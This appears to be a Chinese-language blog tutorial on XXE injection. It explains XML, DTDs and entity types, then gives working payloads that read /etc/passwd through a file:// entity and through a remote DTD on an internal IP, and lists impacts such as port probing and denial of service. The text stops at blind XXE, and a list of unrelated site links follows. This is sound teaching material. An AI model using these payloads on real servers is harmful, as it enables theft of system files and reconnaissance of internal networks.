xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则
xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
xml文档结构:xml声明,DTD文档类型定义,文档元素

html用来显示数据
xml用来传输数据
<!DOCTYPE 变量名 [ 定义的元素 ] >
<!ELEMENT 变量名 (定义元素的名称)>

<?xml version='1.0' encoding='utf-8'?> xml声明
<!DOCTYPE copyright [ DTD 文档类型定义
<!ELEMENT note (to,reset,login)> 定义元素 note为父元素
<!ENTITY test SYSTEM 'url'> 定义外部实体test
]>
<to>
<reset> 下面为文档元素
<login>&test;</login> 调用test实体
<secret>login</secret>
</reset>
<to>

在一个甚至多个xml文档中频繁使用某一条数据,我们可以预先定义一条数据的别名,就是一个ENTITY,然后在这些文档中需要该数据的地方调用它,根据实体的来源我们可以分为内部实体和外部实体,xml定义了两种类型ENTITY,一种在xml文档中使用,另一种作为参数在DTD文件中使用,定义好的ENTITY在文档中通过“&实体名;”来使用

DTD,Documnet Type Definition就是文档类型定义,是一种xml约束模式语言,属于xml文件组成的一部分
DTD有三种应用形式:
1,内部DTD文档
<!DOCTYPE 根元素【定义内容】>
2,外部DTD文档
<!DOCTYPE 根元素 SYSTEM “DTD文件路径”>
3,内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM “DTD文件路径” 【定义内容】>

XXE--->通过调用DTD文档中外部实体来触发漏洞

xml外部实体注入
xml实体分为普通实体和参数实体
实体类型:普通实体,外部实体,参数实体,外部参数实体
普通实体:用在xml文档中,声明方式:<!ENTITY 实体名 “实体内容”>,外部实体<!ENTITY 实体名 SYSTEM “外部文件URL地址”> ,引用方式&实体名;
参数实体:只用在DTD中元素和属性的声明中,声明方式,<!ENTITY %实体名 “文件内容”>,<!ENTITY %实体名 SYSTEM “外部文件URL地址”,引用方式 %实体名;

外部普通实体,读取目标服务中文件
通过file协议,引入外部普通实体,读取目标服务中文件实例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc//passwd">
]>
<test>&xxe;</test>

引入外部参数实体outdtd.dtd文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reset [
<!ENTITY % a SYSTEM "http://192.168.1.3/out.dtd">
%a;]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

outdtd.dtd
<!ENTITY xxe SYSTEM "file:///etc/passwd">

xml支持的协议
php:file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar
.net:file,http,https,ftp

危害
使用file读取敏感文件,比如配置文件,etc/passwd等
内网服务探测,http://127.0.0.1:80 22 3306等,根据返回页面提示不同,确定内网服务
DOS攻击,递归调用,占用大量服务器资源

无回显(盲型xxe)
使用数据带外技术(OOB),比如

最新文章

  1. UE3名称结构(Name)
  2. 建模元件有哪些在MapleSim中
  3. browser shell
  4. oracle sql developer数据表注释为乱码问题---解决
  5. NRF51822之GPIOTE使用
  6. python的变量传递
  7. 【C#】 开机启动/取消开机启动
  8. Delphi笔记(GL_Scene安装及简单使用)
  9. Spring Boot 快速入门(一)
  10. linux不能上网问题
  11. &lt;a&gt;&lt;/a&gt;标签传参出现乱码问题
  12. eclipse中安装windowbuilder插件、应用及卸载
  13. 一款Redis客户端,可以作为Redis Desktop manager的有效补充或替代
  14. [codechef July Challenge 2017] Chef and Sign Sequences
  15. 遍历DOM树,过滤节点
  16. 设计模式《JAVA与模式》之访问者模式
  17. 04_kafka python客户端_Producer模拟
  18. MySQL 报错记录
  19. JS-检测浏览器类型及版本
  20. mxonline实战12, 课程评论,相关课程推荐,课程视频页

热门文章

  1. java Int数据工具类
  2. Redis(十二)flush误操作、Redis安全、处理bigkey和寻找热点key
  3. marquee滚动标签
  4. ElasticSearch head插件安装与配置
  5. const var let 三者的区别
  6. Linux性能分析
  7. 学习笔记07axps页面
  8. 近期学习es6后对变量提升及let和const的一点思考
  9. 游戏辅助外gua篇:如何Dump内存获得游戏的辅助
  10. 由浅入深——从ArrayList浅谈并发容器